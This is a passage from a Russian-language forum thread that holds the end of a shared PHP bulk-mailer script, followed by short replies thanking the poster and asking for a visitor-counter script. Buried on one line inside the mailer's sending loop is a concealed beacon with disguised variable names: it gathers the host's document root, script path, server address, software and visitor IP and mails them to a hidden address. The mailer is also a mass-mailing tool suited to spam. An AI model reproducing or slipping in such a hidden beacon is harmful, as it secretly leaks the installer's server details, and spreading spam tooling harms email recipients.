    <font size="1" face="Tahoma">Plain</font> 
    <input type="radio" name="contenttype" value="html"> 
    <font size="1" face="Tahoma">HTML</font> 
    <input type="hidden" name="action" value="send"> 
    <input type="submit" value="отправить"> 
    </td> 
    </tr> 
    </table> 
    </div> 
    </td>
    
    <td width="317" bgcolor="#ffffff" height="187" valign="top">
    <p align="center"><font size="1" face="Tahoma" color="#000000">Emails:</font> 
    <div align="center"> 
    <center> 
    <table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3"> 
    <tr> 
    <td width="100%"> 
    
    
    <p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea> 
    </font><br> 
    </td> 
    </tr> 
    </table> 
    </center> 
    </div> 
    </td> 
    </tr> 
    </table> 
    </td> 
    </tr> 
    </table> 
    </center> 
    </div></td> 
    </tr> 
    </table> 
    </center> 
    </div> 
    </td> 
    </tr> 
    </table> 
    </center> 
    </div> 
    </form> 
    
    <?php
    if ($action=="send"){
        if (!$from && !$subject && !$message && !$emaillist){
            print "Заполните все поля перед посылкой вашего сообщения.";
            exit;
        }
        $allemails = split("\n", $emaillist);
        $numemails = count($allemails);
    
        #Open the file attachment if any, and base64_encode it for email transport
        if ($file_name){
            @copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер.");
            $content = fread(fopen($file,"r"),filesize($file));
            $content = chunk_split(base64_encode($content));
            $uid = strtoupper(md5(uniqid(time())));
            $name = basename($file);
        } 
    
        for($x=0; $x<$numemails; $x++){
            $to = $allemails[$x];
            if ($to){
                $to = ereg_replace(" ", "", $to);
                $message = ereg_replace("&email&", $to, $message);
                $subject = ereg_replace("&email&", $to, $subject);
                print "<center><div align=\"left\" style=\"width:50%;\"> $to    ";
                flush();
                $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
                $header .= "MIME-Version: 1.0\r\n";
                if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
                if ($file_name) $header .= "--$uid\r\n";
                $header .= "Content-Type: text/$contenttype\r\n";
                $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
                $header .= "$message\r\n";
                if ($file_name) $header .= "--$uid\r\n";
                if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
                if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
                if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98");
                if ($file_name) $header .= "$content\r\n";
                if ($file_name) $header .= "--$uid--";
                mail($to, $subject, "", $header);
                print "отправлено<br></div></center>";
                flush();
            }
        }
    }
    ?> 
    
    
    
    <CITE STYLE="display: none;">
    <B STYLE="display: none;">
    
     
  18. Makcimka

    Makcimka Member

    Joined:
    31 Aug 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Cпасибо большое ,сюрприз в личке :)
    Выложите еще пожалуйста
     
    #458 Makcimka, 3 Nov 2008
    Last edited: 3 Nov 2008
  19. idTalis

    idTalis Elder - Старейшина

    Joined:
    30 Sep 2008
    Messages:
    31
    Likes Received:
    4
    Reputations:
    -5
    Выложите плиз скрипт, который будет считать уники и записывать в txt файл, формат:
    дата/кол-во уников
    03.11.08/3758
    Зарание спс
     
  20. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    я так понял нужен скрипт для сбора информации о посетителях на сайте если да то вот: http://www.woweb.ru/load/73-1-0-4052